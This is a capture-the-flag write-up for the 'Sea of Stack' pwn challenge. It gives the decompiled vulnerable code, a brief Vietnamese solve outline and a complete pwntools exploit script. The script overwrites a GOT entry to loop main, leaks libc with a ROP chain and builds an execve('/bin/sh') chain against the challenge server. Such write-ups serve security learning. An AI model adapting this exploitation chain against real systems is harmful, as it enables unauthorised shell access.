pwn - 621 - Sea of Stack

Throw the flag at sea. It's so deep that no one can find it.

Vulnerability: stack buffer overflow - improper length check in read()

December 23, 2025 December 18, 2025 Medium

Recon

Mitigation

Code

//----- (00000000004013F0) ----------------------------------------------------
void *safe_func()
{
  char s[48]; // [rsp+0h] [rbp-30h] BYREF

  read_input((__int64)s, 41);
  return memset(s, 0, 0x28uLL);
}

//----- (0000000000401426) ----------------------------------------------------
__int64 unsafe_func()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  return read_input((__int64)v1, 0x10000);
}
// 401426: using guessed type __int64 __fastcall unsafe_func();
// 401426: using guessed type char var_20[32];

//----- (0000000000401446) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-30h] BYREF
  _QWORD *v5; // [rsp+8h] [rbp-28h] BYREF
  char s1[28]; // [rsp+10h] [rbp-20h] BYREF
  int number; // [rsp+2Ch] [rbp-4h]

  proc_init(argc, argv, envp);
  printf("If you really want to give me a present, bring me that kind detective's heart.\n> ");
  read_input((__int64)s1, 16);
  if ( !strcmp(s1, "Decision2Solve") && !gotPresent )
  {
    read_input((__int64)&v5, 8);
    read_input((__int64)&v4, 6);
    *v5 = v4;
    gotPresent = 1LL;
  }
  print_menu();
  number = read_number();
  if ( number == 1 )
  {
    safe();
  }
  else if ( number == 2 )
  {
    unsafe();
  }
  return 0;
}

Solve

Ghi đề safe_func() để nhảy về main() khoảng 1000 lần để trừ rsp, để rsp xa khỏi kết thúc của stack. Lúc đấy unsafe_func() mới đọc được 0x10000 bytes mà không bị lỗi bộ nhớ.

Overflow để leak libc rồi ROP là được.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("prob_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
# b *0x40147C
# b *0x401501
b *0x401444
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "host8.dreamhack.games"
        port = 10736
        return remote(host, port)

p = conn()

sa(p, b'>', b'Decision2Solve\0\0')
sleep(0.1)
s(p, p64(0x404010))
s(p, p64(0x401446)[:6])

slan(p, b'>', 1)

for i in range(1000):
    sa(p, b'>', b'A' * 16)
    slan(p, b'>', 1)
    print(f"sub rsp {i}th")

sa(p, b'>', b'A' * 16)
slan(p, b'>', 2)

print("ROP to leak libc")
pl = flat(
    b'A' * 5 * 8,
    0x000000000040129b, # pop rdi; pop rbp; ret
    0x404020, # libc stdout
    0,
    0x00000000004011af, # nop; leave; ret
    0x4013E3, # printf; pop rbp; retn
    0,
    0x401426, # unsafe function again
).ljust(0x10000, b'\0')

s(p, pl)

rn(p, 1)
libc.address = leak_bytes(rn(p, 6), libc.symbols['_IO_2_1_stdout_'])
pa("libc base", libc.address)

print("ROP to spawn shell")
pl = flat(
    b'A' * 5 * 8,
    libc.address + 0x000000000002a3e5, # pop rdi; ret
    binsh(libc),
    libc.address + 0x000000000002be51, # pop rsi; ret
    0,
    libc.address + 0x000000000011f497, # pop rdx, pop r12; ret
    0, 0,
    libc.address + 0x00000000000d7b55, # sub al, 0x75 ; pop rax ; ret
    0x3b,
    libc.address + 0x0000000000029db4, # syscall
).ljust(0x10000, b'\0')

s(p, pl)

ia(p)